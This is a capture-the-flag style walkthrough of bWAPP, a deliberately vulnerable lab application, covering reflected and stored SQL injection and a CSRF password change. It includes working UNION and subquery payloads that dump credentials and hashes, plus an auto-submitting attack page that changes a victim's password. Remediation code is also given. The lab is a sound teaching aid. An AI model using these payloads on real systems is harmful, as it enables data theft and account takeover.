bWAPP (buggy Web Application)

A comprehensive guide to bWAPP, a deliberately insecure web application designed to teach over 100 different web vulnerabilities. [Sql-injection (search/get + stored/blog + Csrf change password)]

bWAPPWeb SecurityPenetration TestingPHPcybercampLab Setup

bWAPP (buggy Web Application)

bwapp
bWAPP: A buggy Web Application for security testing

in this task we need to solve 3 vulnerabilities in bWAPP:

  • Sql-injection (search/get + stored/blog + Csrf change password)
bwapp
The 3 vulnerabilities to solve in bWAPP

bWAPP (buggy Web Application)

bWAPP (buggy Web Application) is a free and open-source security testing framework developed by MME. It is a deliberately insecure web application designed to help security enthusiasts, developers, and students discover, exploit, and prevent web vulnerabilities.

What makes bWAPP unique is its sheer scale: it hosts **over 100 different web vulnerabilities**, covering all major known bugs including the entire OWASP Top 10.

Built on PHP and MySQL, it serves as a comprehensive educational tool for successful penetration testing. You can run it manually (via WAMP/XAMPP) or, more conveniently, through bee-box, a custom Linux virtual machine pre-installed with bWAPP.

bwapp
bWAPP log in page

⚠️ Vital Note: The Database Reset Button

Before you begin, you must know how to fix the environment if it breaks. bWAPP’s database can often get corrupted during testing (especially when performing aggressive SQL Injections).

  • The Fix: If you encounter connection errors or simply need a fresh start, navigate immediately to: http://[Target-IP]/bWAPP/install.php
  • The Action: Click “Click here to install the database!”. This will drop the existing tables and rebuild them from scratch.
bWAPP Database Installation Page
The 'Reset Button': Re-installing the database to fix errors

3. The “Security Level” Feature - The Core of Training

bWAPP Security Level Dropdown
The Security Level Dropdown: Controlling the difficulty

This feature is the “brain” of bWAPP. Upon logging in, you will notice a dropdown menu that controls the application’s defensive posture. This setting directly alters the backend code’s reaction to your payloads:

  • 🟢 Low (No Protection): The vulnerability is completely exposed with zero filtering or sanitization. Always start here to understand the fundamental logic of the exploit.
  • 🟡 Medium (Basic Defense): The developer has attempted simple protections (e.g., addslashes in PHP or basic JavaScript filters). This is where the real challenge of Filter Bypassing begins.
  • 🔴 High (Secure Mode): The code implements industry Best Practices. Exploiting this level typically requires finding complex logical flaws rather than standard syntax errors.

4. Practical Task: SQL Injection

SQL Injection Search/GET Interface
The Search/GET Challenge: Your entry point to the database

I. SQL Injection (Search/GET)

Excellent choice. You have started with the “Mother of All Vulnerabilities”.

SQL Injection (Search/GET) is the foundation upon which entire hacking empires are built. In this challenge, we are dealing with the **HTTP GET** method, meaning the Payload (malicious code) will be clearly visible in the browser's URL bar. This visibility makes detection and exploitation significantly easier.

The Mission: Fasten your seatbelt; we are about to “slice open” the database and dump its entire contents.


0. Preliminary Reconnaissance: Identifying the Stack

Before injecting a single character, we must identify the technology running in the background. Understanding the database type is crucial for crafting the correct payloads.


The Tool: Wappalyzer I highly recommend using the Wappalyzer Extension to instantly profile the web application.

Wappalyzer Output showing MySQL
Wappalyzer revealing the Tech Stack: Note the MySQL Database

The Insight: As seen in the image, the application is running on a MySQL database. This piece of information is critical because it tells us exactly which SQL syntax (MySQL flavor) we need to use for our injection attacks.

Now that we have confirmed the target, let’s proceed to the injection.


Phase 1: Reconnaissance - “Are you vulnerable?”

The first rule of SQL Injection is: “Break the code to see how it works.”

  1. Navigate to the Search for a movie input field.
  2. Enter a single character: ' (Single Quote).
  3. Click Search.

Observation: Did you see an error message stating something like: Error: You have an error in your SQL syntax...?

SQL Syntax Error
The 'Green Light': An SQL Syntax Error confirms the vulnerability

Technical Analysis: This error message is your “Green Light”. It confirms that the database (MySQL) interpreted your quote as part of the SQL Command rather than just plain text data. This unexpected character broke the syntax of the query.

The Vulnerable Backend Logic: Here is what the PHP code likely looks like on the server:

$title = $_GET["title"];
// The input is concatenated directly without sanitization
$sql = "SELECT * FROM movies WHERE title LIKE '%" . $title . "%'";

When you input a single quote, the query becomes malformed:

SELECT * FROM movies WHERE title LIKE '%' ' %'

When you injected ’, the query became: SELECT * FROM movies WHERE title LIKE ’%’% This leaves an unbalanced quote, causing the database to crash and throw the syntax error.

Next Step: Now that we have confirmed the vulnerability, shall we move to Phase 2 (Confirming the Logic with Boolean payloads like ' OR 1=1 --)?

Phase 2: The Boolean Attack - “The Show All Trick”

Now, we want to prove the vulnerability by retrieving all data, even records we didn’t search for.

The Payload:

test' or 1=1 #

Note: In SQL, if you use the double dash --, you must include a trailing space (e.g., -- ). To be safe and easier, we use #, which is the standard comment character in MySQL.

Boolean Injection Result
The Result: Dumping all movies by making the query Always True

Action: Enter ' or 1=1 # into the search box and click Search.

The Result: You should see a list of every single movie in the database.

Why did this happen? (The Logic)

The query processed by the backend effectively became:

SELECT * FROM movies WHERE title LIKE '%' or 1=1 # ...

🛠️ Pro Tip: Automating Payloads with “Hack-Tools”

If you don’t want to memorize every single query or type them manually every time, I highly recommend using Hack-Tools. It is an all-in-one browser extension that generates payloads for SQLi, XSS, Reverse Shells, and more on the fly.

Hack-Tools Interface
Hack-Tools: Your Swiss Army Knife for generating payloads instantly

🔗 GitHub Repository: LasCC/Hack-Tools

Running it Locally (Developer Mode)

If you prefer to run it as a standalone local web application (or want to inspect the source code), you can build it from the source:

Terminal window
# 1. Clone the repository
git clone [https://github.com/LasCC/Hack-Tools.git](https://github.com/LasCC/Hack-Tools.git)
# 2. Navigate to the folder
cd Hack-Tools
# 3. Install dependencies and build the project
npm install && npm run build

Phase 3: Advanced Attack (UNION Based) - “Stealing the Crown Jewels”

Here is where the real game begins. We will use the UNION operator to merge our own malicious results (like usernames and passwords) with the legitimate search results.

Step A: Determining Column Count

To make a UNION attack work, our injected query must have the exact same number of columns as the original query on the server. If they don’t match, the database will throw an error.

We use the ORDER BY command to guess this number. We keep increasing the number until the application crashes.

  1. Try: ' ORDER BY 1 # (Works? Yes)
  2. Try: ' ORDER BY 5 # (Works? Yes)
  3. Try: ' ORDER BY 7 # (Works? Yes)
ORDER BY 7 Success
ORDER BY 7: The page still loads normally, meaning there are at least 7 columns.

The Breaking Point: Now, try: ' ORDER BY 8 #

ORDER BY 8 Error
ORDER BY 8: The application crashes/errors out.

Conclusion: Since 7 worked and 8 failed, we confirm that the current table has exactly 7 columns.


Step B: Identifying Visible Columns

Now that we know there are 7 columns, we need to find out which ones actually display their data on the webpage. These specific columns will be our “screens” to display the stolen data.

The Payload:

' UNION SELECT 1, 2, 3, 4, 5, 6, 7 #
UNION SELECT Numbers
The Result: Numbers appearing on the screen indicating vulnerable injection points.

Analysis: Look at the results. You will see numbers (e.g., 2, 3, 4, 5) printed where the movie details usually appear. These are the columns we can use.

Step C: The Knockout Blow (Data Extraction)

Now, we replace the visible numbers with SQL system functions to extract sensitive information.

The Final Payload: We will extract the Database Name, the Current User, and the DB Version.

' UNION SELECT 1, database(), user(), 4, @@version, 6, 7 #
Data Extraction Result
The Knockout: Sensitive system information revealed on the page.

What are you looking at?

  • Instead of a movie title, you see: bWAPP (The Database Name).
  • You see: root@localhost (or bee@localhost).

    ⚠️ Critical Note: If you see root, this is a complete security catastrophe. It means the web application has full administrative privileges over the database server.

  • You see: The specific Version of the MySQL database.


Mission Debriefing

1. The Vulnerability

The application takes raw user input ($_GET['title']) and directly concatenates it into the SQL command string. There is zero separation between code and data.

2. The Exploit

We used special characters (specifically the Single Quote ') to “break out” of the intended text string. We then chained a secondary query using the UNION operator to retrieve and dump sensitive data from hidden tables.

3. The Remediation (How to Fix It)

If you were the developer, the only secure way to fix this is by using Prepared Statements (Parameterized Queries).

Secure PHP Example:

// ❌ BAD (Vulnerable):
// $sql = "SELECT * FROM movies WHERE title LIKE '%" . $user_input . "%'";
// ✅ GOOD (Secure - PDO Prepared Statement):
$stmt = $pdo->prepare('SELECT * FROM movies WHERE title LIKE :title');
$stmt->execute(['title' => "%" . $user_input . "%"]);
$results = $stmt->fetchAll();

هان بس خذ فكرة عن الكود الآمن عالسريع بس مش اكثر



II. SQL Injection (Stored/Blog)

Objective: Exploit the stored SQL Injection vulnerability in the blog feature to extract sensitive user data and crack password hashes.

Blog Entry Interface
Blog Interface: Where user comments are stored and vulnerable to SQL injection attacks

Understanding Stored SQL Injection

Unlike Reflected SQLi (which ends with the request), Stored SQLi saves malicious code permanently in the database. Every time any user or administrator views the affected page, the injected code executes.

Impact: Significantly more dangerous than reflected attacks due to persistent nature and broader victim exposure.


Phase 1: Testing for Vulnerability

SQL Error Response
Testing Phase: Single quote reveals SQL error confirming vulnerability

Steps:

  1. Navigate to the blog entry field
  2. Enter a single quote: '
  3. Submit the form

Expected Result: An SQL error message appears, confirming unfiltered user input flows directly into the database query.

Phase 2: Extracting System Information

Unlike Reflected SQLi using ORDER BY, Stored SQLi with INSERT statements employs Subqueries to inject data into additional database columns.

Payload:

', (SELECT @@version))-- -
Database Version Extraction
System Info Leaked: The subquery reveals MySQL version and operating system details

Payload Breakdown:

  • The comma , signals an additional column value to the INSERT statement
  • SELECT @@version retrieves the MySQL database version
  • -- - comments out the remaining original query

Result: Output displays 5.1.41-3ubuntu12.6-log - revealing MySQL version and OS information (Ubuntu Linux).


Phase 3: Extracting User Credentials

Now we proceed to the critical step: dumping usernames and password hashes from the database.

Payload:

', (SELECT GROUP_CONCAT(login, 0x3a, password) FROM users))-- -
User Data Extraction
Credential Dump: All user accounts with their password hashes are exposed

Payload Details:

  • GROUP_CONCAT() merges all rows into a single line
  • 0x3a is hex code for colon : (separator between username and hash)
  • FROM users targets the users table

Extracted Data:

A.I.M:6885858486f31043e5839c735d99457f045affd0
bee:6885858486f31043e5839c735d99457f045affd0

Phase 4: Hash Analysis and Password Cracking

Hash Cracking Process
Hash Identification: Both users share identical SHA-1 hashes

Hash Analysis:

  • Length: 40 characters
  • Format: Hexadecimal string
  • Algorithm: SHA-1 (cryptographically broken)

Critical Finding: Both users (A.I.M and bee) use the same password hash - compounding the security failure.

Cracking the Hash: The famous hash 6885858486f31043e5839c735d99457f045affd0 cracks quickly to reveal: bug


Summary: Stored SQLi Attack Chain

PhasePayloadResult
1. Detection'SQL Error
2. System Info', (SELECT @@version))-- -MySQL version revealed
3. Data Dump', (SELECT GROUP_CONCAT(...))-- -All usernames and hashes extracted
4. Hash Crack[Online cracker]Plain-text password discovered

III. Cross-Site Request Forgery (CSRF - Change Password)

Objective: Force a logged-in user to change their password without their knowledge or consent through a malicious page.

Technical Concept

CSRF exploits a fundamental browser behavior: When you’re logged into a website, the browser automatically includes session cookies with every request to that domain.

If an attacker tricks a victim into visiting a malicious page, the browser will execute state-changing actions (like password changes) as if the victim initiated them.


Step 1: Analyzing the Normal Request

Password Change URL
Normal Request: Parameters visible in the address bar represent the vulnerability

When a user changes their password normally, the URL appears as:

csrf_1.php?password_new=123&password_conf=123&change=change

The Vulnerability: The request uses GET (parameters in URL) instead of the safer POST method, making CSRF trivial to execute.


Step 2: Crafting the Attack Page

An attacker creates an HTML page that silently submits the malicious form:

Attack HTML:

<html>
<body>
<h1>Congratulations! You've Won a Prize!</h1>
<form action="http://target-bwapp/bWAPP/csrf_1.php" method="GET">
<input type="hidden" name="password_new" value="hacked123" />
<input type="hidden" name="password_conf" value="hacked123" />
<input type="hidden" name="change" value="change" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Attack HTML Code
Malicious Page: Form submits automatically on page load

Step 3: Attack Execution

Attack Execution
The request is sent silently in the background

Attack Steps:

  1. Victim must be logged into bWAPP in their browser
  2. Attacker sends the malicious page link via email, chat, or social media
  3. When victim opens the link, the form auto-submits
  4. Password changes to hacked123 without victim’s knowledge
Victim Visiting Malicious Page
User visits the page - unaware of the hidden attack

Proof of Compromise

Old Password Failed
Old password no longer works - account has been compromised

When the victim attempts to log in with their original password, authentication fails. But the new password hacked123 works perfectly, confirming the attack succeeded.

New Password Works
New password successfully authenticates - attacker now has account access

Instead of an HTML page, attackers can send this URL directly:

http://target-bwapp/bWAPP/csrf_1.php?password_new=hacked123&password_conf=hacked123&change=change

Any logged-in user clicking this link will have their password immediately changed.


Defense: CSRF Tokens

Solution: Implement synchronizer tokens - unique, unpredictable values required for each request.

// Generate token on server
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
// Include in form
<form method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<!-- Other fields -->
</form>
// Verify before processing
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF Attack Detected!');
}

Why This Works: The attacker’s external page cannot access the token because it’s stored securely in the server’s session, not visible to cross-site requests.

DAAS